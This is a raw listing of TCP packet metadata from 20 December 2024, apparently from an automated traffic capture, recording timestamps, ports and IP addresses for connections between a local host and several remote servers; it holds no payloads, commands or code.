Dec 20, 2024 22:52:06.111006975 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:06.111057043 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:06.111114025 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:06.111869097 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:06.111871004 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:06.111920118 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:06.111987114 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:06.112396002 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:06.112651110 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:06.112703085 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:06.112752914 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:06.112808943 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:06.113493919 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:06.113574028 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:06.113617897 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:06.113706112 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:06.114321947 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:06.114367008 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:06.114522934 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:06.115173101 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:06.115271091 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:06.115360975 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:06.115968943 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:06.115973949 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:06.118839979 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:07.414596081 CET	443	49703	173.222.162.64	192.168.2.6
Dec 20, 2024 22:52:07.414665937 CET	49703	443	192.168.2.6	173.222.162.64
Dec 20, 2024 22:52:07.641603947 CET	49713	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:07.641649961 CET	443	49713	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:07.641705990 CET	49713	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:07.641920090 CET	49713	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:07.641937017 CET	443	49713	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:07.848440886 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:07.848500967 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:07.848597050 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:07.848809004 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:07.848822117 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:07.881577015 CET	49715	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:07.881619930 CET	443	49715	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:07.881808043 CET	49715	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:07.882062912 CET	49715	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:07.882081985 CET	443	49715	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:08.021344900 CET	49718	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:08.021378040 CET	443	49718	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:08.021429062 CET	49718	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:08.021754026 CET	49718	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:08.021764040 CET	443	49718	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.367618084 CET	443	49713	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.367897034 CET	49713	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.367909908 CET	443	49713	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.369337082 CET	443	49713	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.369391918 CET	49713	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.370326996 CET	49713	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.370408058 CET	443	49713	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.370520115 CET	49713	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.370528936 CET	443	49713	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.419778109 CET	49713	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.531172037 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:09.534003973 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:09.579799891 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.580044985 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.580065012 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.581486940 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.581722021 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.581860065 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.581938982 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.581978083 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.622986078 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.622992992 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.632148981 CET	443	49715	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.632350922 CET	49715	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.632375002 CET	443	49715	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.633397102 CET	443	49715	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.633569956 CET	49715	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.633680105 CET	49715	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.633739948 CET	443	49715	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.633773088 CET	49715	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.669863939 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.675365925 CET	443	49715	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.685590029 CET	49715	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.685601950 CET	443	49715	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.732503891 CET	49715	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.734301090 CET	443	49718	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.737997055 CET	49718	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.738013029 CET	443	49718	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.739532948 CET	443	49718	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.739604950 CET	49718	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.739886045 CET	49718	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.739969969 CET	443	49718	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.794800043 CET	49718	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:09.794811010 CET	443	49718	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:09.841664076 CET	49718	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.225474119 CET	443	49713	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.225613117 CET	443	49713	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.225667953 CET	49713	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.225692987 CET	443	49713	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.233984947 CET	443	49713	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.234086990 CET	49713	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.352698088 CET	49713	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.352735043 CET	443	49713	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.438290119 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.438430071 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.438523054 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.438532114 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.438553095 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.438606977 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.438641071 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.446160078 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.446216106 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.446233988 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.457318068 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.457403898 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.457413912 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.473683119 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.473742008 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.473752022 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.479182005 CET	443	49715	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.479337931 CET	443	49715	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.479383945 CET	49715	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.481188059 CET	49715	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.481198072 CET	443	49715	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.515117884 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.515127897 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.562043905 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.624552011 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.628731966 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.628799915 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.628810883 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.643162012 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.643258095 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.643268108 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.654164076 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.654230118 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.654239893 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.670002937 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.670078993 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.670094013 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.686534882 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.686615944 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.686628103 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.701935053 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.702008009 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.702018976 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.715111017 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.715178013 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.715187073 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.728364944 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.728413105 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.728423119 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.744251966 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.744330883 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.744338989 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.750933886 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.751024961 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.751035929 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.764125109 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.764180899 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.764203072 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.810900927 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.816531897 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.820826054 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.820882082 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.820900917 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.831619024 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.831665993 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.831679106 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.831693888 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.831728935 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.839999914 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.850949049 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.851026058 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.851042032 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.859671116 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.859793901 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.859806061 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.869085073 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.869143963 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.869152069 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.869162083 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.869220018 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.880928040 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.881076097 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.881162882 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.881179094 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.893110991 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.893233061 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.893249989 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.904967070 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.905016899 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.905031919 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.916765928 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.916835070 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.916843891 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.928316116 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.928376913 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.928385019 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.939258099 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.939328909 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.939336061 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.949656010 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.949723005 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.949731112 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.959707022 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.959774971 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.959784985 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.969985008 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.970038891 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.970047951 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.979119062 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.979171038 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.979182005 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.999886036 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:10.999943018 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:10.999953985 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.032877922 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.032932043 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.032942057 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.048826933 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.048918009 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.048927069 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.051425934 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.051495075 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.051501989 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.054495096 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.054549932 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.054558992 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.057610035 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.057667971 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.057677984 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.061783075 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.061867952 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.061876059 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.064851046 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.064934015 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.064943075 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.070379019 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.070425034 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.070441961 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.072921038 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.072981119 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.072997093 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.075393915 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.075438023 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.075443983 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.078047991 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.078098059 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.078109026 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.080440998 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.080559015 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.080565929 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.082845926 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.082887888 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.082896948 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.082909107 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.082973957 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.085287094 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.087754011 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.087805986 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.087815046 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.087933064 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:11.087984085 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.088080883 CET	49714	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:11.088094950 CET	443	49714	142.250.181.132	192.168.2.6
Dec 20, 2024 22:52:13.324069023 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:13.324326992 CET	49742	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:13.443670988 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:13.443856001 CET	80	49742	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:13.443906069 CET	49742	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:13.444580078 CET	49742	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:13.564116001 CET	80	49742	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:13.757361889 CET	49745	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:13.757482052 CET	443	49745	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:13.757558107 CET	49745	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:13.758054972 CET	49745	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:13.758090019 CET	443	49745	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:14.763267994 CET	49749	443	192.168.2.6	142.250.181.46
Dec 20, 2024 22:52:14.763281107 CET	443	49749	142.250.181.46	192.168.2.6
Dec 20, 2024 22:52:14.763583899 CET	49749	443	192.168.2.6	142.250.181.46
Dec 20, 2024 22:52:14.763583899 CET	49749	443	192.168.2.6	142.250.181.46
Dec 20, 2024 22:52:14.763602018 CET	443	49749	142.250.181.46	192.168.2.6
Dec 20, 2024 22:52:15.011537075 CET	80	49742	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:15.011862040 CET	49742	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:15.095104933 CET	49718	443	192.168.2.6	142.250.181.132
Dec 20, 2024 22:52:15.095110893 CET	49749	443	192.168.2.6	142.250.181.46
Dec 20, 2024 22:52:15.117999077 CET	49742	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:15.239223957 CET	80	49742	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:15.805202007 CET	80	49742	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:15.806544065 CET	49742	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:16.039414883 CET	443	49745	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:16.039532900 CET	49745	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:16.050951004 CET	49745	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:16.051023960 CET	443	49745	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:16.051872969 CET	443	49745	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:16.096642971 CET	49745	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:16.096805096 CET	49745	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:16.096812963 CET	443	49745	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:16.096990108 CET	49745	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:16.139385939 CET	443	49745	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:16.758899927 CET	443	49745	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:16.759083033 CET	443	49745	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:16.759147882 CET	49745	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:16.759308100 CET	49745	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:16.759365082 CET	443	49745	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:16.759402037 CET	49745	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:20.816853046 CET	80	49742	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:20.817300081 CET	49742	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:25.864097118 CET	49779	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:25.864134073 CET	443	49779	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:25.864248037 CET	49779	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:25.864788055 CET	49779	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:25.864804029 CET	443	49779	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:28.071181059 CET	49742	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:28.071543932 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:28.121531963 CET	443	49779	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:28.121717930 CET	49779	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:28.126715899 CET	49779	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:28.126724958 CET	443	49779	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:28.127533913 CET	443	49779	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:28.129373074 CET	49779	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:28.129429102 CET	49779	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:28.129435062 CET	443	49779	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:28.129622936 CET	49779	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:28.171331882 CET	443	49779	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:28.191386938 CET	80	49742	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:28.191401005 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:28.191482067 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:28.191688061 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:28.311904907 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:28.794833899 CET	443	49779	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:28.795857906 CET	443	49779	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:28.795941114 CET	49779	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:28.796111107 CET	49779	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:28.796116114 CET	443	49779	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:29.646136999 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:29.646214008 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:30.682921886 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:30.802395105 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.073220015 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:31.073323011 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:31.073338985 CET	80	49786	185.219.81.132	192.168.2.6
